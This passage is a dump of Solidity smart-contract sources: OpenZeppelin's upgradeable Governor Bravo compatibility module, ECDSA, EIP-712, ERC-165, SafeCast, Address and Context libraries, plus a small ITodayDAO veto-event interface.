import "@openzeppelin/contracts-upgradeable/governance/extensions/IGovernorTimelockUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/governance/GovernorUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/governance/compatibility/IGovernorCompatibilityBravoUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
/**
* @dev Compatibility layer that implements GovernorBravo compatibility on to of {Governor}.
*
* This compatibility layer includes a voting system and requires a {IGovernorTimelock} compatible module to be added
* through inheritance. It does not include token bindings, not does it include any variable upgrade patterns.
*
* NOTE: When using this module, you may need to enable the Solidity optimizer to avoid hitting the contract size limit.
*
* _Available since v4.3._
*/
abstract contract GovernorCompatibilityBravoUpgradeable is
Initializable,
IGovernorTimelockUpgradeable,
IGovernorCompatibilityBravoUpgradeable,
GovernorUpgradeable
{
function __GovernorCompatibilityBravo_init() internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__IGovernor_init_unchained();
__IGovernorTimelock_init_unchained();
__IGovernorCompatibilityBravo_init_unchained();
__GovernorCompatibilityBravo_init_unchained();
}
function __GovernorCompatibilityBravo_init_unchained() internal onlyInitializing {}
using CountersUpgradeable for CountersUpgradeable.Counter;
using TimersUpgradeable for TimersUpgradeable.BlockNumber;
enum VoteType {
Against,
For,
Abstain
}
struct ProposalDetails {
address proposer;
address[] targets;
uint256[] values;
string[] signatures;
bytes[] calldatas;
uint256 forVotes;
uint256 againstVotes;
uint256 abstainVotes;
mapping(address => Receipt) receipts;
bytes32 descriptionHash;
}
mapping(uint256 => ProposalDetails) private _proposalDetails;
// solhint-disable-next-line func-name-mixedcase
function COUNTING_MODE() public pure virtual override returns (string memory) {
return "support=bravo&quorum=bravo";
}
// ============================================== Proposal lifecycle ==============================================
/**
* @dev See {IGovernor-propose}.
*/
function propose(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
string memory description
) public virtual override(IGovernorUpgradeable, GovernorUpgradeable) returns (uint256) {
_storeProposal(
_msgSender(),
targets,
values,
new string[](calldatas.length),
calldatas,
description
);
return super.propose(targets, values, calldatas, description);
}
/**
* @dev See {IGovernorCompatibilityBravo-propose}.
*/
function propose(
address[] memory targets,
uint256[] memory values,
string[] memory signatures,
bytes[] memory calldatas,
string memory description
) public virtual override returns (uint256) {
_storeProposal(_msgSender(), targets, values, signatures, calldatas, description);
return propose(targets, values, _encodeCalldata(signatures, calldatas), description);
}
/**
* @dev See {IGovernorCompatibilityBravo-queue}.
*/
function queue(uint256 proposalId) public virtual override {
ProposalDetails storage details = _proposalDetails[proposalId];
queue(
details.targets,
details.values,
_encodeCalldata(details.signatures, details.calldatas),
details.descriptionHash
);
}
/**
* @dev See {IGovernorCompatibilityBravo-execute}.
*/
function execute(uint256 proposalId) public payable virtual override {
ProposalDetails storage details = _proposalDetails[proposalId];
execute(
details.targets,
details.values,
_encodeCalldata(details.signatures, details.calldatas),
details.descriptionHash
);
}
function cancel(uint256 proposalId) public virtual override {
ProposalDetails storage details = _proposalDetails[proposalId];
require(
_msgSender() == details.proposer ||
getVotes(details.proposer, block.number - 1) < proposalThreshold(),
"GovernorBravo: proposer above threshold"
);
_cancel(
details.targets,
details.values,
_encodeCalldata(details.signatures, details.calldatas),
details.descriptionHash
);
}
/**
* @dev Encodes calldatas with optional function signature.
*/
function _encodeCalldata(string[] memory signatures, bytes[] memory calldatas)
private
pure
returns (bytes[] memory)
{
bytes[] memory fullcalldatas = new bytes[](calldatas.length);
for (uint256 i = 0; i < signatures.length; ++i) {
fullcalldatas[i] = bytes(signatures[i]).length == 0
? calldatas[i]
: abi.encodeWithSignature(signatures[i], calldatas[i]);
}
return fullcalldatas;
}
/**
* @dev Store proposal metadata for later lookup
*/
function _storeProposal(
address proposer,
address[] memory targets,
uint256[] memory values,
string[] memory signatures,
bytes[] memory calldatas,
string memory description
) private {
bytes32 descriptionHash = keccak256(bytes(description));
uint256 proposalId = hashProposal(
targets,
values,
_encodeCalldata(signatures, calldatas),
descriptionHash
);
ProposalDetails storage details = _proposalDetails[proposalId];
if (details.descriptionHash == bytes32(0)) {
details.proposer = proposer;
details.targets = targets;
details.values = values;
details.signatures = signatures;
details.calldatas = calldatas;
details.descriptionHash = descriptionHash;
}
}
// ==================================================== Views =====================================================
/**
* @dev See {IGovernorCompatibilityBravo-proposals}.
*/
function proposals(uint256 proposalId)
public
view
virtual
override
returns (
uint256 id,
address proposer,
uint256 eta,
uint256 startBlock,
uint256 endBlock,
uint256 forVotes,
uint256 againstVotes,
uint256 abstainVotes,
bool canceled,
bool executed
)
{
id = proposalId;
eta = proposalEta(proposalId);
startBlock = proposalSnapshot(proposalId);
endBlock = proposalDeadline(proposalId);
ProposalDetails storage details = _proposalDetails[proposalId];
proposer = details.proposer;
forVotes = details.forVotes;
againstVotes = details.againstVotes;
abstainVotes = details.abstainVotes;
ProposalState status = state(proposalId);
canceled = status == ProposalState.Canceled;
executed = status == ProposalState.Executed;
}
/**
* @dev See {IGovernorCompatibilityBravo-getActions}.
*/
function getActions(uint256 proposalId)
public
view
virtual
override
returns (
address[] memory targets,
uint256[] memory values,
string[] memory signatures,
bytes[] memory calldatas
)
{
ProposalDetails storage details = _proposalDetails[proposalId];
return (details.targets, details.values, details.signatures, details.calldatas);
}
/**
* @dev See {IGovernorCompatibilityBravo-getReceipt}.
*/
function getReceipt(uint256 proposalId, address voter)
public
view
virtual
override
returns (Receipt memory)
{
return _proposalDetails[proposalId].receipts[voter];
}
/**
* @dev See {IGovernorCompatibilityBravo-quorumVotes}.
*/
function quorumVotes() public view virtual override returns (uint256) {
return quorum(block.number - 1);
}
// ==================================================== Voting ====================================================
/**
* @dev See {IGovernor-hasVoted}.
*/
function hasVoted(uint256 proposalId, address account)
public
view
virtual
override
returns (bool)
{
return _proposalDetails[proposalId].receipts[account].hasVoted;
}
function votes(uint256 proposalId)
internal
view
returns (
uint256 forVotes,
uint256 againstVotes,
uint256 abstainVotes
)
{
ProposalDetails storage details = _proposalDetails[proposalId];
forVotes = details.forVotes;
againstVotes = details.againstVotes;
abstainVotes = details.abstainVotes;
}
/**
* @dev See {Governor-_quorumReached}. In this module, only forVotes count toward the quorum.
*/
function _quorumReached(uint256 proposalId) internal view virtual override returns (bool) {
ProposalDetails storage details = _proposalDetails[proposalId];
return quorum(proposalSnapshot(proposalId)) <= details.forVotes;
}
/**
* @dev See {Governor-_voteSucceeded}. In this module, the forVotes must be scritly over the againstVotes.
*/
function _voteSucceeded(uint256 proposalId) internal view virtual override returns (bool) {
ProposalDetails storage details = _proposalDetails[proposalId];
return details.forVotes > details.againstVotes;
}
/**
* @dev See {Governor-_countVote}. In this module, the support follows Governor Bravo.
*/
function _countVote(
uint256 proposalId,
address account,
uint8 support,
uint256 weight
) internal virtual override {
ProposalDetails storage details = _proposalDetails[proposalId];
Receipt storage receipt = details.receipts[account];
require(!receipt.hasVoted, "GovernorCompatibilityBravo: vote already cast");
receipt.hasVoted = true;
receipt.support = support;
receipt.votes = SafeCastUpgradeable.toUint96(weight);
if (support == uint8(VoteType.Against)) {
details.againstVotes += weight;
} else if (support == uint8(VoteType.For)) {
details.forVotes += weight;
} else if (support == uint8(VoteType.Abstain)) {
details.abstainVotes += weight;
} else {
revert("GovernorCompatibilityBravo: invalid vote type");
}
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: GPL
pragma solidity ^0.8.6;
interface ITodayDAO {
/// @notice An event emitted when a proposal has been vetoed by vetoAddress
event ProposalVetoed(uint256 proposalId);
/// @notice Emitted when vetoer is changed
event NewVetoer(address oldVetoer, address newVetoer);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/cryptography/ECDSA.sol)
pragma solidity ^0.8.0;
import "../StringsUpgradeable.sol";
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSAUpgradeable {
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS,
InvalidSignatureV
}
function _throwError(RecoverError error) private pure {
if (error == RecoverError.NoError) {
return; // no error: do nothing
} else if (error == RecoverError.InvalidSignature) {
revert("ECDSA: invalid signature");
} else if (error == RecoverError.InvalidSignatureLength) {
revert("ECDSA: invalid signature length");
} else if (error == RecoverError.InvalidSignatureS) {
revert("ECDSA: invalid signature 's' value");
} else if (error == RecoverError.InvalidSignatureV) {
revert("ECDSA: invalid signature 'v' value");
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature` or error string. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*
* Documentation for signature generation:
* - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
* - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
*
* _Available since v4.3._
*/
function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return tryRecover(hash, r, vs);
} else {
return (address(0), RecoverError.InvalidSignatureLength);
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, signature);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.
*
* See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address, RecoverError) {
bytes32 s;
uint8 v;
assembly {
s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
v := add(shr(255, vs), 27)
}
return tryRecover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.
*
* _Available since v4.2._
*/
function recover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, r, vs);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `v`,
* `r` and `s` signature fields separately.
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address, RecoverError) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS);
}
if (v != 27 && v != 28) {
return (address(0), RecoverError.InvalidSignatureV);
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature);
}
return (signer, RecoverError.NoError);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, v, r, s);
_throwError(error);
return recovered;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
/**
* @dev Returns an Ethereum Signed Message, created from `s`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", StringsUpgradeable.toString(s.length), s));
}
/**
* @dev Returns an Ethereum Signed Typed Data, created from a
* `domainSeparator` and a `structHash`. This produces hash corresponding
* to the one signed with the
* https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
* JSON-RPC method as part of EIP-712.
*
* See {recover}.
*/
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/cryptography/draft-EIP712.sol)
pragma solidity ^0.8.0;
import "./ECDSAUpgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data.
*
* The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible,
* thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding
* they need in their contracts using a combination of `abi.encode` and `keccak256`.
*
* This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding
* scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA
* ({_hashTypedDataV4}).
*
* The implementation of the domain separator was designed to be as efficient as possible while still properly updating
* the chain id to protect against replay attacks on an eventual fork of the chain.
*
* NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method
* https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask].
*
* _Available since v3.4._
*/
abstract contract EIP712Upgradeable is Initializable {
/* solhint-disable var-name-mixedcase */
bytes32 private _HASHED_NAME;
bytes32 private _HASHED_VERSION;
bytes32 private constant _TYPE_HASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
/* solhint-enable var-name-mixedcase */
/**
* @dev Initializes the domain separator and parameter caches.
*
* The meaning of `name` and `version` is specified in
* https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]:
*
* - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol.
* - `version`: the current major version of the signing domain.
*
* NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart
* contract upgrade].
*/
function __EIP712_init(string memory name, string memory version) internal onlyInitializing {
__EIP712_init_unchained(name, version);
}
function __EIP712_init_unchained(string memory name, string memory version) internal onlyInitializing {
bytes32 hashedName = keccak256(bytes(name));
bytes32 hashedVersion = keccak256(bytes(version));
_HASHED_NAME = hashedName;
_HASHED_VERSION = hashedVersion;
}
/**
* @dev Returns the domain separator for the current chain.
*/
function _domainSeparatorV4() internal view returns (bytes32) {
return _buildDomainSeparator(_TYPE_HASH, _EIP712NameHash(), _EIP712VersionHash());
}
function _buildDomainSeparator(
bytes32 typeHash,
bytes32 nameHash,
bytes32 versionHash
) private view returns (bytes32) {
return keccak256(abi.encode(typeHash, nameHash, versionHash, block.chainid, address(this)));
}
/**
* @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this
* function returns the hash of the fully encoded EIP712 message for this domain.
*
* This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example:
*
* ```solidity
* bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(
* keccak256("Mail(address to,string contents)"),
* mailTo,
* keccak256(bytes(mailContents))
* )));
* address signer = ECDSA.recover(digest, signature);
* ```
*/
function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
return ECDSAUpgradeable.toTypedDataHash(_domainSeparatorV4(), structHash);
}
/**
* @dev The hash of the name parameter for the EIP712 domain.
*
* NOTE: This function reads from storage by default, but can be redefined to return a constant value if gas costs
* are a concern.
*/
function _EIP712NameHash() internal virtual view returns (bytes32) {
return _HASHED_NAME;
}
/**
* @dev The hash of the version parameter for the EIP712 domain.
*
* NOTE: This function reads from storage by default, but can be redefined to return a constant value if gas costs
* are a concern.
*/
function _EIP712VersionHash() internal virtual view returns (bytes32) {
return _HASHED_VERSION;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165Upgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable {
function __ERC165_init() internal onlyInitializing {
__ERC165_init_unchained();
}
function __ERC165_init_unchained() internal onlyInitializing {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165Upgradeable).interfaceId;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/math/SafeCast.sol)
pragma solidity ^0.8.0;
/**
* @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow
* checks.
*
* Downcasting from uint256/int256 in Solidity does not revert on overflow. This can
* easily result in undesired exploitation or bugs, since developers usually
* assume that overflows raise errors. `SafeCast` restores this intuition by
* reverting the transaction when such an operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*
* Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing
* all math on `uint256` and `int256` and then downcasting.
*/
library SafeCastUpgradeable {
/**
* @dev Returns the downcasted uint224 from uint256, reverting on
* overflow (when the input is greater than largest uint224).
*
* Counterpart to Solidity's `uint224` operator.
*
* Requirements:
*
* - input must fit into 224 bits
*/
function toUint224(uint256 value) internal pure returns (uint224) {
require(value <= type(uint224).max, "SafeCast: value doesn't fit in 224 bits");
return uint224(value);
}
/**
* @dev Returns the downcasted uint128 from uint256, reverting on
* overflow (when the input is greater than largest uint128).
*
* Counterpart to Solidity's `uint128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*/
function toUint128(uint256 value) internal pure returns (uint128) {
require(value <= type(uint128).max, "SafeCast: value doesn't fit in 128 bits");
return uint128(value);
}
/**
* @dev Returns the downcasted uint96 from uint256, reverting on
* overflow (when the input is greater than largest uint96).
*
* Counterpart to Solidity's `uint96` operator.
*
* Requirements:
*
* - input must fit into 96 bits
*/
function toUint96(uint256 value) internal pure returns (uint96) {
require(value <= type(uint96).max, "SafeCast: value doesn't fit in 96 bits");
return uint96(value);
}
/**
* @dev Returns the downcasted uint64 from uint256, reverting on
* overflow (when the input is greater than largest uint64).
*
* Counterpart to Solidity's `uint64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*/
function toUint64(uint256 value) internal pure returns (uint64) {
require(value <= type(uint64).max, "SafeCast: value doesn't fit in 64 bits");
return uint64(value);
}
/**
* @dev Returns the downcasted uint32 from uint256, reverting on
* overflow (when the input is greater than largest uint32).
*
* Counterpart to Solidity's `uint32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*/
function toUint32(uint256 value) internal pure returns (uint32) {
require(value <= type(uint32).max, "SafeCast: value doesn't fit in 32 bits");
return uint32(value);
}
/**
* @dev Returns the downcasted uint16 from uint256, reverting on
* overflow (when the input is greater than largest uint16).
*
* Counterpart to Solidity's `uint16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*/
function toUint16(uint256 value) internal pure returns (uint16) {
require(value <= type(uint16).max, "SafeCast: value doesn't fit in 16 bits");
return uint16(value);
}
/**
* @dev Returns the downcasted uint8 from uint256, reverting on
* overflow (when the input is greater than largest uint8).
*
* Counterpart to Solidity's `uint8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*/
function toUint8(uint256 value) internal pure returns (uint8) {
require(value <= type(uint8).max, "SafeCast: value doesn't fit in 8 bits");
return uint8(value);
}
/**
* @dev Converts a signed int256 into an unsigned uint256.
*
* Requirements:
*
* - input must be greater than or equal to 0.
*/
function toUint256(int256 value) internal pure returns (uint256) {
require(value >= 0, "SafeCast: value must be positive");
return uint256(value);
}
/**
* @dev Returns the downcasted int128 from int256, reverting on
* overflow (when the input is less than smallest int128 or
* greater than largest int128).
*
* Counterpart to Solidity's `int128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*
* _Available since v3.1._
*/
function toInt128(int256 value) internal pure returns (int128) {
require(value >= type(int128).min && value <= type(int128).max, "SafeCast: value doesn't fit in 128 bits");
return int128(value);
}
/**
* @dev Returns the downcasted int64 from int256, reverting on
* overflow (when the input is less than smallest int64 or
* greater than largest int64).
*
* Counterpart to Solidity's `int64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*
* _Available since v3.1._
*/
function toInt64(int256 value) internal pure returns (int64) {
require(value >= type(int64).min && value <= type(int64).max, "SafeCast: value doesn't fit in 64 bits");
return int64(value);
}
/**
* @dev Returns the downcasted int32 from int256, reverting on
* overflow (when the input is less than smallest int32 or
* greater than largest int32).
*
* Counterpart to Solidity's `int32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*
* _Available since v3.1._
*/
function toInt32(int256 value) internal pure returns (int32) {
require(value >= type(int32).min && value <= type(int32).max, "SafeCast: value doesn't fit in 32 bits");
return int32(value);
}
/**
* @dev Returns the downcasted int16 from int256, reverting on
* overflow (when the input is less than smallest int16 or
* greater than largest int16).
*
* Counterpart to Solidity's `int16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*
* _Available since v3.1._
*/
function toInt16(int256 value) internal pure returns (int16) {
require(value >= type(int16).min && value <= type(int16).max, "SafeCast: value doesn't fit in 16 bits");
return int16(value);
}
/**
* @dev Returns the downcasted int8 from int256, reverting on
* overflow (when the input is less than smallest int8 or
* greater than largest int8).
*
* Counterpart to Solidity's `int8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*
* _Available since v3.1._
*/
function toInt8(int256 value) internal pure returns (int8) {
require(value >= type(int8).min && value <= type(int8).max, "SafeCast: value doesn't fit in 8 bits");
return int8(value);
}
/**
* @dev Converts an unsigned uint256 into a signed int256.
*
* Requirements:
*
* - input must be less than or equal to maxInt256.
*/
function toInt256(uint256 value) internal pure returns (int256) {
// Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive
require(value <= uint256(type(int256).max), "SafeCast: value doesn't fit in an int256");
return int256(value);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal onlyInitializing {
__Context_init_unchained();
}
function __Context_init_unchained() internal onlyInitializing {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Timers.sol)
